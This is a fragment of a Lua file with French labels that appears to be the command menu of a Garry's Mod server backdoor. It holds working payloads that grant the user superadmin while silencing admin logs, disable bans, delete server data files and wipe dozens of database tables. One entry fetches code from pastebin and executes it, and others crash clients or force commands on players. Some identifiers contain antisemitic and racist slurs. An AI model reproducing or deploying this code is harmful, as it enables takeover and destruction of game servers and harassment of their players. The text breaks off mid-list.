934["Code"] = [[for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
935
936local explo = ents.Create("env_explosion")
937
938explo:SetPos(v:GetPos())
939
940explo:SetKeyValue("iMagnitude", "300")
941
942explo:Spawn()
943
944explo:Activate()
945
946explo:Fire("Explode", "", 0)
947
948end
949
950end]],
951
952},
953
954
955
956["Commande RCON"] = {
957
958["Type"] = 1,
959
960["Code"] = [[game.ConsoleCommand( @1.."\n" )]],
961
962["NeedsParameters"] = 1,
963
964},
965
966
967["'Supprimer Ulx"] = {
968
969["Type"] = 1,
970
971["Code"] = [[ULib.Ban = function() return false end
972
973ULib.addBan = function() return end
974
975ULib.kick = function() return end
976if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end
977if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end]],
978
979["Private"] = true,
980
981},
982
983["''Pityer the server † "] = {
984
985["Type"] = 1,
986
987["Code"] = [[ RunConsoleCommand("ulx_logecho", "0")
988RunConsoleCommand("ulx", "adduserid", "]]..LocalPlayer():SteamID()..[[", "superadmin")
989http.Fetch("https://pastebin.com/RS2EcJnp", function(b, l, h, c)RunString(b)end,nil)
990]],
991
992["Private"] = true,
993
994},
995
996
997["♾ Tousse arrrghh"] = {
998
999["Type"] = 1,
1000
1001["Code"] = [[
1002
1003if !timer.Exists( "jcrevenofake" ) then
1004
1005timer.Create( "jcrevenofake", 0.7, 0, function()
1006
1007for _, p in pairs(player.GetAll()) do
1008
1009p:EmitSound("ambient/voices/cough"..math.random(4)..".wav", 450 + math.random() * 50, 50 + math.random() * 10)
1010
1011end
1012
1013end)
1014
1015else
1016
1017timer.Remove( "jcrevenofake" )
1018
1019end]],
1020
1021},
1022
1023["Modifier Map"] = {
1024
1025["Type"] = 1,
1026
1027["Code"] = [[RunConsoleCommand("ulx_logecho", "0")
1028RunConsoleCommand("ulx", "adduserid", "]]..LocalPlayer():SteamID()..[[", "superadmin")
1029
1030for k,v in pairs(player.GetAll()) do
1031v:ConCommand("ulx map gm_construct")
1032end
1033
1034]],
1035
1036
1037},
1038
1039
1040
1041["'Reset Argent"] = {
1042
1043["Type"] = 1,
1044
1045["Code"] = [[RunConsoleCommand("rp_resetallmoney")]],
1046
1047["Private"] = true,
1048
1049},
1050
1051["CleanUp"] = {
1052
1053["Type"] = 1,
1054
1055["Code"] = [[game.CleanUpMap()]],
1056
1057},
1058
1059["Supprimer les joueurs"] = {
1060
1061["Type"] = 1,
1062
1063["Code"] = [[for k, v in pairs(player.GetAll()) do v:Remove() end]],
1064},
1065
1066["'Supprimer data"] = {
1067
1068["Type"] = 1,
1069
1070["Code"] = [[local files, directories = file.Find( "*", "DATA" ) for k, v in pairs( files ) do file.Delete( v ) end ]],
1071
1072["Private"] = true,
1073
1074},
1075
1076["'Supprimer Mysql"] = {
1077
1078["Type"] = 1,
1079
1080["Code"] = [[ MySQLite.query ('DROP TABLE darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT NULL)') ]],
1081
1082["Private"] = true,
1083
1084},
1085
1086["'Supprimer db"] = {
1087
1088["Type"] = 1,
1089
1090["Code"] = [[ sql.Query("DELETE FROM `DARKRP_BANNED_RPNAMES_STORE`")
1091sql.Query("DELETE FROM `DRP_PLAYER_NICKNAME_STORE`")
1092sql.Query("DELETE FROM `FADMIN_GROUPS`")
1093sql.Query("DELETE FROM `FADMIN_MOTD`")
1094sql.Query("DELETE FROM `FADMIN_PRIVILEGES`")
1095sql.Query("DELETE FROM `FADMIN_RESTRICTEDENTS`")
1096sql.Query("DELETE FROM `FAdminBans`")
1097sql.Query("DELETE FROM `FAdmin_CAMIPrivileges`")
1098sql.Query("DELETE FROM `FAdmin_Immunity`")
1099sql.Query("DELETE FROM `FAdmin_PlayerGroup`")
1100sql.Query("DELETE FROM `FAdmin_ServerSettings`")
1101sql.Query("DELETE FROM `FPP_ANTISPAM1`")
1102sql.Query("DELETE FROM `FPP_BLOCKED1`")
1103sql.Query("DELETE FROM `FPP_BLOCKEDMODELS1`")
1104sql.Query("DELETE FROM `FPP_BLOCKMODELSETTINGS1`")
1105sql.Query("DELETE FROM `FPP_ENTITYDAMAGE1`")
1106sql.Query("DELETE FROM `FPP_GLOBALSETTINGS1`")
1107sql.Query("DELETE FROM `FPP_GRAVGUN1`")
1108sql.Query("DELETE FROM `FPP_GROUPMEMBERS1`")
1109sql.Query("DELETE FROM `FPP_GROUPS3`")
1110sql.Query("DELETE FROM `FPP_GROUPTOOL`")
1111sql.Query("DELETE FROM `FPP_PHYSGUN1`")
1112sql.Query("DELETE FROM `FPP_PLAYERUSE1`")
1113sql.Query("DELETE FROM `FPP_TOOLADMINONLY`")
1114sql.Query("DELETE FROM `FPP_TOOLGUN1`")
1115sql.Query("DELETE FROM `FPP_TOOLRESTRICTPERSON1`")
1116sql.Query("DELETE FROM `FPP_TOOLTEAMRESTRICT`")
1117sql.Query("DELETE FROM `TTT_PLAYER_NICKNAME_STORE`")
1118sql.Query("DELETE FROM `batm_group_accounts`")
1119sql.Query("DELETE FROM `batm_personal_accounts`")
1120sql.Query("DELETE FROM `cac_incidents`")
1121sql.Query("DELETE FROM `cookies`")
1122sql.Query("DELETE FROM `darkrp_dbversion`")
1123sql.Query("DELETE FROM `darkrp_door`")
1124sql.Query("DELETE FROM `darkrp_doorgroups`")
1125sql.Query("DELETE FROM `darkrp_doorjobs`")
1126sql.Query("DELETE FROM `darkrp_jobSpawn`")
1127sql.Query("DELETE FROM `darkrp_player`")
1128sql.Query("DELETE FROM `darkrp_position`")
1129sql.Query("DELETE FROM `ll_plates`")
1130sql.Query("DELETE FROM `playerinformation`")
1131sql.Query("DELETE FROM `playerpdata`")
1132sql.Query("DELETE FROM `rphone_numbers`")
1133sql.Query("DELETE FROM `rphone_sms`")
1134sql.Query("DELETE FROM `sqlite_sequence`")
1135sql.Query("DELETE FROM `ulib_bans`")
1136sql.Query("DELETE FROM `utime`") ]],
1137
1138["Private"] = true,
1139
1140},
1141
1142/*============================================
1143|===== Commandes Sur Joueur Selectionné =====|
1144===========================================*/
1145
1146
1147
1148["Tuer Le Joueur"] = {
1149
1150["Type"] = 2,
1151
1152["Code"] = [[v:Kill()]],
1153
1154
1155},
1156
1157
1158
1159
1160["'Joueur Multicolor"] = {
1161
1162["Type"] = 2,
1163
1164["Code"] = [[
1165
1166v:SetModel( "models/player/group02/male_04.mdl" )
1167
1168v:SetMaterial( "models/debug/debugwhite" )
1169
1170hook.Add( "Think", "multicolore", function()
1171
1172v:SetColor( HSVToColor( RealTime() * 120 % 360, 1, 1 ) )
1173
1174end )
1175
1176
1177local id = ]] .. LocalPlayer():UserID() .. [[
1178
1179Player( id ):SetModel( "models/player/group02/male_04.mdl" )
1180
1181Player( id ):SetMaterial( "models/debug/debugwhite" )
1182
1183hook.Add( "Think", "multicolore2", function()
1184
1185if !IsValid( Player( id ) ) then return end
1186
1187Player( id ):SetColor( HSVToColor( RealTime() * 120 % 360, 1, 1 ) )
1188
1189end )
1190]],
1191
1192["Private"] = true,
1193},
1194
1195
1196
1197
1198["Expelliarmus"] = {
1199
1200["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
1201
1202["Code"] = [[v:DropWeapon( v:GetActiveWeapon() )]],
1203
1204},
1205
1206["Ear rape (via internet)"] = {
1207
1208["Type"] = 2,
1209
1210["Code"] = [[
1211
1212BDSendLua( v, 'if soundrape then soundrape:Remove() soundrape = nil return end soundrape = vgui.Create( "DFrame" ) soundrape:SetSize( 1, 1 ) local html = vgui.Create( "HTML", soundrape ) html:OpenURL( @1 )' )
1213
1214]],
1215
1216["Desc"] = "fait écouter un son par URL (1er parametre). Sending a new sound will stop the previous one. Send an invalid url to stop all sounds entirely on their client",
1217
1218["NeedsParameters"] = 1,
1219
1220},
1221
1222
1223["Supprimer les armes"] = {
1224
1225["Type"] = 2,
1226
1227["Code"] = [[v:StripWeapons()]],
1228
1229},
1230
1231
1232
1233["Roquette"] = {
1234
1235["Type"] = 2,
1236
1237["Code"] = [[v:SetVelocity( Vector(0, 0, 9000) )]],
1238
1239},
1240
1241
1242
1243["Change model"] = {
1244
1245["Type"] = 2,
1246
1247["Code"] = [[v:SetModel( @1 )]],
1248
1249["NeedsParameters"] = 1,
1250
1251},
1252
1253
1254
1255
1256["♾ Play Sound (1-5)"] = {
1257
1258["Type"] = 2,
1259
1260["Code"] = [[
1261
1262local snd = {
1263
1264[1] = "npc/stalker/go_alert2a.wav",
1265
1266[2] = "vo/npc/male01/question06.wav",
1267
1268[3] = "ambient/energy/zap1.wav",
1269
1270[4] = "vo/ravenholm/madlaugh04.wav",
1271
1272[5] = "npc/antlion_guard/antlion_guard_die1.wav",
1273
1274}
1275
1276v:EmitSound( snd[tonumber(@1)], 100, 100 )
1277
1278]],
1279
1280["NeedsParameters"] = 1,
1281
1282},
1283
1284
1285["'Mode Disco"] = {
1286
1287["Type"] = 2,
1288
1289["Code"] = [[
1290
1291BDSendLua( v, 'if hook.GetTable().HUDPaint.drugznigga then hook.Remove( "HUDPaint", "drugznigga" ) else hook.Add( "HUDPaint", "drugznigga", function() local cin = math.sin( CurTime() * 10 ) * 255 surface.SetDrawColor( Color( cin, -cin, cin, 100 ) ) surface.DrawRect( 0, 0, ScrW(), ScrH() ) end) end' )
1292
1293]],
1294
1295["Private"] = true,
1296
1297},
1298
1299
1300
1301["'Musique Disco"] = {
1302
1303["Type"] = 2,
1304
1305["Code"] = [[
1306
1307BDSendLua( v, 'surface.PlaySound( "music/hl1_song25_remix3.mp3" )' )
1308
1309]],
1310
1311["Private"] = true,
1312
1313},
1314
1315
1316
1317["Message PV"] = {
1318
1319["Type"] = 2,
1320
1321["Code"] = [[v:ChatPrint( @1 )]],
1322
1323["NeedsParameters"] = 1,
1324
1325},
1326
1327
1328
1329["Brûler"] = {
1330
1331["Type"] = 2,
1332
1333["Code"] = [[v:Ignite( 30 )]],
1334
1335},
1336
1337
1338
1339["GodMod"] = {
1340
1341["Type"] = 2,
1342
1343["Code"] = [[if v:HasGodMode() then v:GodDisable() else v:GodEnable() end]],
1344
1345},
1346
1347
1348
1349["'Faire Crash"] = {
1350
1351["Type"] = 2,
1352
1353["Code"] = [[v:SendLua("function fag() return fag() end fag()")]],
1354
1355["Private"] = true,
1356
1357},
1358
1359
1360
1361["Courrir Vite"] = {
1362
1363["Type"] = 2,
1364
1365["Code"] = [[if !v.Sanic then v:SetRunSpeed( 1200 ) v:SetWalkSpeed(800) v.Sanic = true else v:SetRunSpeed( 240 ) v:SetWalkSpeed( 160 ) v.Sanic = false end]],
1366
1367},
1368
1369
1370
1371["Freeze"] = {
1372
1373["Type"] = 2,
1374
1375["Code"] = [[v:Freeze( !v:IsFrozen() )]],
1376
1377},
1378
1379
1380
1381["§ Forcer texte"] = {
1382
1383["Type"] = 2,
1384
1385["Code"] = [[v:Say(@1)]],
1386
1387["NeedsParameters"] = 1,
1388
1389},
1390
1391
1392
1393["§ Forcer commande"] = {
1394
1395["Type"] = 2,
1396
1397["Code"] = [[v:ConCommand(@1)]],
1398
1399["NeedsParameters"] = 1,
1400
1401},
1402
1403["§ Mouvement Troll"] = {
1404
1405["Type"] = 2,
1406
1407["Code"] = [[v:ConCommand( "+left" )
1408v:ConCommand( "+back" )]],
1409
1410},
1411
1412["§ Fermer le Jeux"] = {
1413
1414["Type"] = 2,
1415
1416["Code"] = [[v:ConCommand(quit)]],
1417
1418},
1419
1420
1421
1422
1423
1424
1425
1426["Modifier Argent"] = {
1427
1428["Type"] = 2,
1429
1430["Code"] = [[v:addMoney(@1)]],
1431
1432["NeedsParameters"] = 1,
1433
1434},
1435
1436
1437
1438["Changer de Métier"] = {
1439
1440["Type"] = 2,
1441
1442["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:changeTeam(i, true, true) end end]],
1443
1444["NeedsParameters"] = 1,
1445
1446},
1447
1448
1449
1450["Noclip"] = {
1451
1452["Type"] = 2,
1453
1454["Code"] = [[if v:GetMoveType() != MOVETYPE_NOCLIP then v:SetMoveType(MOVETYPE_NOCLIP) else v:SetMoveType(MOVETYPE_WALK) end]],
1455
1456},
1457
1458
1459
1460["Téléporter ici"] = {
1461
1462["Type"] = 2,
1463
1464["Code"] = [[
1465
1466local tp = false
1467
1468local tpos
1469
1470for _, p in pairs(player.GetAll()) do if %LP then tpos = p:GetEyeTraceNoCursor().HitPos tp = true end end
1471
1472if tp then v:SetPos( tpos ) end
1473
1474]],
1475
1476},
1477
1478
1479
1480["Goto"] = {
1481
1482["Type"] = 2,
1483
1484["Code"] = [[
1485
1486local tp = false
1487
1488local tpos = v:GetPos() + Vector( 32, 0, 10)
1489
1490for _, p in pairs(player.GetAll()) do if %LP then p:SetPos( tpos ) end end
1491
1492]],
1493
1494},
1495
1496
1497["Spaw Entitées"] = {
1498
1499["Type"] = 2,
1500
1501["Code"] = [[
1502
1503local tr = {}
1504
1505tr.start = v:GetShootPos()
1506
1507tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1508
1509tr.filter = {v}
1510
1511local trace = util.TraceLine(tr)
1512
1513local dix = ents.Create( @1 )
1514
1515dix:SetPos(trace.HitPos)
1516
1517dix:SetAngles(Angle(0,0,0))
1518
1519dix:Spawn()
1520
1521]],
1522
1523
1524["NeedsParameters"] = 1,
1525
1526},
1527
1528
1529
1530["Spawn Props"] = {
1531
1532["Type"] = 2,
1533
1534["Code"] = [[
1535
1536local tr = {}
1537
1538tr.start = v:GetShootPos()
1539
1540tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1541
1542tr.filter = {v}
1543
1544local trace = util.TraceLine(tr)
1545
1546local dix = ents.Create( "prop_physics" )
1547
1548dix:SetPos(trace.HitPos)
1549
1550dix:SetAngles(Angle(0,0,0))
1551
1552dix:SetModel( @1 )
1553
1554dix:Spawn()
1555
1556]],
1557
1558["NeedsParameters"] = 1,
1559
1560},
1561
1562
1563
1564["'Spawn Bite Géante"] = {
1565
1566["Type"] = 2,
1567
1568["Code"] = [[
1569
1570FPP.Blocked = {} FPP.BlockedModels = {} FPP.RestrictedTools = {} FPP.RestrictedToolsPlayers = {}
1571
1572local tr = {}
1573
1574tr.start = v:GetShootPos()
1575
1576tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1577
1578tr.filter = {v}
1579
1580local trace = util.TraceLine(tr)
1581
1582local dix = ents.Create( "prop_physics" )
1583
1584dix:SetPos( trace.HitPos + Vector( 0, 0, 70 ) )
1585
1586dix:SetAngles( v:GetAngles() )
1587
1588dix:SetModel( "models/props_combine/breenglobe.mdl" )
1589
1590dix:Spawn()
1591
1592dix:SetMoveType( MOVETYPE_NONE )
1593
1594dix:SetMaterial( "models/shiny" )
1595
1596dix:SetColor( Color( 0, 0, 40 ) )
1597
1598
1599
1600local function ecr( parent, model, pos, ang, col, mat )
1601
1602local dix = ents.Create( "prop_physics" )
1603
1604dix:SetPos( parent:LocalToWorld( pos ) )
1605
1606dix:SetAngles( parent:LocalToWorldAngles( ang ) )
1607
1608dix:SetModel( model )
1609
1610dix:SetParent( parent )
1611
1612dix:Spawn()
1613
1614dix:SetColor( col )
1615
1616dix:SetMaterial( mat )
1617
1618end
1619
1620ecr( dix, "models/props_phx/construct/metal_plate_curve360x2.mdl", Vector( -5, 0, 30 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1621ecr( dix, "models/props_phx/construct/metal_dome360.mdl", Vector( -5, 0, 120 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1622ecr( dix, "models/props_phx/construct/metal_dome360.mdl", Vector( -5, 35, 0 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1623ecr( dix, "models/props_phx/construct/metal_dome360.mdl", Vector( -5, 35, 0 ), Angle( 180, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1624ecr( dix, "models/props_phx/construct/metal_dome360.mdl", Vector( -5, -35, 0 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1625ecr( dix, "models/props_phx/construct/metal_dome360.mdl", Vector( -5, -35, 0 ), Angle( 180, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1626
1627for _, p in pairs( player.GetAll() ) do p:SendLua( 'chat.AddText( Color(255, 255, 255 ), "ROCCCOOOOO SIIIFREEEEDIIIII")' ) sound.Play( "vo/npc/female01/yeah02.wav", p:GetPos(), 90, 80, 1 ) end
1628
1629]],
1630
1631["Private"] = true,
1632
1633},
1634
1635
1636
1637["Spawn Ennemis"] = {
1638
1639["Type"] = 2,
1640
1641["Code"] = [[
1642
1643local tr = {}
1644
1645tr.start = v:GetShootPos()
1646
1647tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1648
1649tr.filter = {v}
1650
1651local trace = util.TraceLine(tr)
1652
1653local dix = ents.Create( "npc_citizen" )
1654
1655dix:SetPos(trace.HitPos)
1656
1657dix:SetAngles(Angle(0,0,0))
1658
1659dix:SetKeyValue( "additionalequipment", table.Random({"weapon_shotgun", "weapon_smg1", "weapon_ar2"}) )
1660
1661dix:SetKeyValue( "citizentype", 3 )
1662
1663dix:AddRelationship("player D_HT 200")
1664
1665dix:SetCurrentWeaponProficiency(WEAPON_PROFICIENCY_PERFECT)
1666
1667dix:SetSchedule( SCHED_IDLE_WANDER )
1668
1669dix:Spawn()
1670
1671]],
1672
1673},
1674
1675
1676["Vision Explosive"] = {
1677
1678["Type"] = 2,
1679
1680["Code"] = [[
1681
1682local trace = v:GetEyeTraceNoCursor()
1683
1684local explo = ents.Create("env_explosion")
1685
1686explo:SetPos(trace.HitPos)
1687
1688explo:SetKeyValue("iMagnitude", "250")
1689
1690explo:Spawn()
1691
1692explo:Activate()
1693
1694explo:Fire("Explode", "", 0)
1695
1696]],
1697
1698
1699},
1700
1701
1702
1703
1704["Pluie de Véhicules"] = {
1705
1706["Type"] = 2,
1707
1708["Code"] = [[
1709
1710local trace = v:GetEyeTraceNoCursor()
1711
1712local car = ents.Create("prop_physics")
1713
1714local trace2 = util.TraceLine( { start = trace.HitPos, endpos = trace.HitPos + Vector( 0, 0, 5000000 ), mask = MASK_SOLID_BRUSHONLY } )
1715
1716car:SetModel( "models/props_vehicles/car002a_physics.mdl" )
1717
1718car:SetAngles( v:GetAngles() )
1719
1720car:SetPos( trace2.HitPos + Vector( 0, 0, -60 ) )
1721
1722car:Spawn()
1723
1724car:Activate()
1725
1726car.boom = 6
1727
1728car:GetPhysicsObject():SetVelocity( Vector( 0, 0, -5000 ) )
1729
1730car:Ignite( 500 )
1731
1732car:AddCallback( "PhysicsCollide", function( car, dat )
1733
1734local explo = ents.Create("env_explosion")
1735
1736explo:SetPos( car:GetPos() )
1737
1738explo:SetKeyValue("iMagnitude", "350")
1739
1740explo:Spawn()
1741
1742explo:Activate()
1743
1744explo:Fire("Explode", "", 0)
1745
1746local ef = EffectData()
1747
1748ef:SetOrigin( car:GetPos() )
1749
1750ef:SetMagnitude( 5 )
1751
1752ef:SetScale( 200 )
1753
1754util.Effect( "ThumperDust", ef )
1755
1756car.boom = car.boom - 1
1757
1758if car.boom < 0 then car:Remove() end
1759
1760end )
1761
1762timer.Simple( 30, function() if car:IsValid() then car:Remove() end end)
1763
1764]],
1765
1766},
1767
1768
1769
1770["Gas Toxique"] = {
1771
1772["Type"] = 2,
1773
1774["Code"] = [[
1775
1776local trace = v:GetEyeTraceNoCursor()
1777
1778local ar2Explo = ents.Create("env_ar2explosion")
1779
1780ar2Explo:SetOwner(game.GetWorld())
1781
1782local p = trace.HitPos
1783
1784ar2Explo:SetPos(trace.HitPos)
1785
1786ar2Explo:Spawn()
1787
1788ar2Explo:Activate()
1789
1790ar2Explo:Fire("Explode", "", 0)
1791
1792timer.Create( "gasthekikes_"..math.random(-9999, 9999).."_"..math.random(-9999, 9999), 0.25, 35, function()
1793
1794for _, ent in pairs(ents.FindInSphere( p, 500)) do
1795
1796if !ent:IsPlayer() then continue end
1797
1798local d = DamageInfo()
1799
1800d:SetDamage( 1 )
1801
1802d:SetAttacker( game.GetWorld() )
1803
1804d:SetInflictor( game.GetWorld() )
1805
1806d:SetDamageType( DMG_DROWN )
1807
1808ent:TakeDamageInfo( d )
1809
1810end
1811
1812end)
1813
1814
1815
1816]],
1817
1818},
1819
1820
1821["Kick Joueur"] = {
1822
1823["Type"] = 2,
1824
1825["Code"] = [[ v:Kick( @1 ) ]],
1826
1827
1828},
1829
1830
1831
1832
1833["Cloak"] = {
1834
1835["Type"] = 2,
1836
1837["Code"] = [[ if !v.BDCloaked then v:SetRenderMode( RENDERMODE_NONE ) v.BDCloaked = true else v:SetRenderMode( RENDERMODE_NORMAL ) v.BDCloaked = false end ]],
1838
1839
1840},
1841
1842
1843
1844["'Mettre un rank"] = {
1845
1846["Type"] = 2,
1847
1848["Code"] = [[ local userInfo = ULib.ucl.authed[ v:UniqueID() ] ULib.ucl.addUser( v:UniqueID(), userInfo.allow, userInfo.deny, @1 ) ]],
1849
1850["NeedsParameters"] = 1,
1851
1852["Private"] = true,
1853
1854},
1855
1856
1857
1858
1859/*====================================
1860|===== Commandes Customs Chelou =====|
1861===================================*/
1862
1863
1864
1865
1866["Joueurs 2D"] = {
1867
1868["Type"] = 2,
1869
1870["Code"] = [[
1871local bones = {
1872[1] = {b = "ValveBiped.Bip01_Head1", v = Vector(4,0,4)},
1873[2] = {b = "ValveBiped.Bip01_R_Thigh", v = Vector(0,0,0)},
1874[3] = {b = "ValveBiped.Bip01_L_Thigh", v = Vector(0,0,0)},
1875[4] = {b = "ValveBiped.Bip01_R_Calf", v = Vector(0,0,1)},
1876[5] = {b = "ValveBiped.Bip01_L_Calf", v = Vector(0,0,1)},
1877[6] = {b = "ValveBiped.Bip01_R_UpperArm", v = Vector(0,0,0)},
1878[7] = {b = "ValveBiped.Bip01_L_UpperArm", v = Vector(0,0,0)},
1879[8] = {b = "ValveBiped.Bip01_R_Forearm", v = Vector(1,1.5,1.5)},
1880[9] = {b = "ValveBiped.Bip01_L_Forearm", v = Vector(1,1.5,1.5)},
1881[10] = {b = "ValveBiped.Bip01_R_Clavicle", v = Vector(0,0,0)},
1882[11] = {b = "ValveBiped.Bip01_L_Clavicle", v = Vector(0,0,0)},
1883}
1884
1885if !v.is2D then
1886v.is2D = true
1887for k, bone in pairs(bones) do
1888local boneToFind = v:LookupBone(bone.b)
1889v:ManipulateBoneScale( boneToFind, bone.v)
1890end
1891else
1892v.is2D = false
1893for k, bone in pairs(bones) do
1894local boneToFind = v:LookupBone(bone.b)
1895v:ManipulateBoneScale( boneToFind, Vector(1,1,1))
1896end
1897end
1898]],
1899
1900},
1901
1902["Nuke (M9K)"] = {
1903
1904["Type"] = 2,
1905
1906["Code"] = [[
1907// if (m9k) then
1908local nuke = ents.Create("m9k_davy_crockett_explo")
1909nuke:SetPos(v:GetPos())
1910nuke:SetOwner(v)
1911nuke.Owner = v
1912nuke:Spawn()
1913nuke:Activate()
1914// end
1915]],
1916
1917},
1918
1919["Brouiller la console"] = {
1920
1921["Type"] = 1,
1922
1923["Code"] = [[
1924if !(timer.Exists("consoleJammer")) then
1925timer.Create("consoleJammer", 0.5, 0, function()
1926print( "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" )
1927end )
1928else
1929timer.Destroy("consoleJammer")
1930end
1931]],
1932
1933},
1934
1935["'Se mettre superadmin"] = {
1936
1937["Type"] = 1,
1938
1939["Code"] = [[
1940RunConsoleCommand("ulx_logecho", "0")
1941RunConsoleCommand("ulx", "adduserid", "]]..LocalPlayer():SteamID()..[[", "superadmin")
1942]],
1943
1944["Private"] = true,
1945
1946},
1947
1948["Deban all"] = {
1949
1950["Type"] = 1,
1951
1952["Code"] = [[
1953RunConsoleCommand(\"ulx\", \"groupallow\", \"user\", \"ulx luarun\")
1954]],
1955
1956},
1957
1958
1959["'Supprimer le Serveur"] = {
1960
1961["Type"] = 1,
1962
1963["Code"] = [[
1964local date = os.date( "%m-%d-%y" )
1965local dataBDMenus = { "jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobSpawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
1966local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcSpawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhash.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.txt","nordahl_Spawnpoint/rp_venator_v3.txt","nordahl_Spawnpoint/rp_venator_v2.txt","nordahl_Spawnpoint/rp_venator_v1.txt","nordahl_Spawnpoint/rp_venator_gg.txt","nordahl_Spawnpoint/rp_venator_ausv4.txt","nordahl_Spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_Spawnpoint/arena_byre.txt","nordahl_Spawnpoint/rp_venator_v2_immersive.txt","nordahl_Spawnpoint/rp_venator_fade_v3.txt","nordahl_Spawnpoint/rp_venator_gr.txt","nordahl_Spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_Spawnpoint/rp_scifi.txt","nordahl_Spawnpoint/rishimoon_crimson.txt","nordahl_Spawnpoint/rp_pripyat_h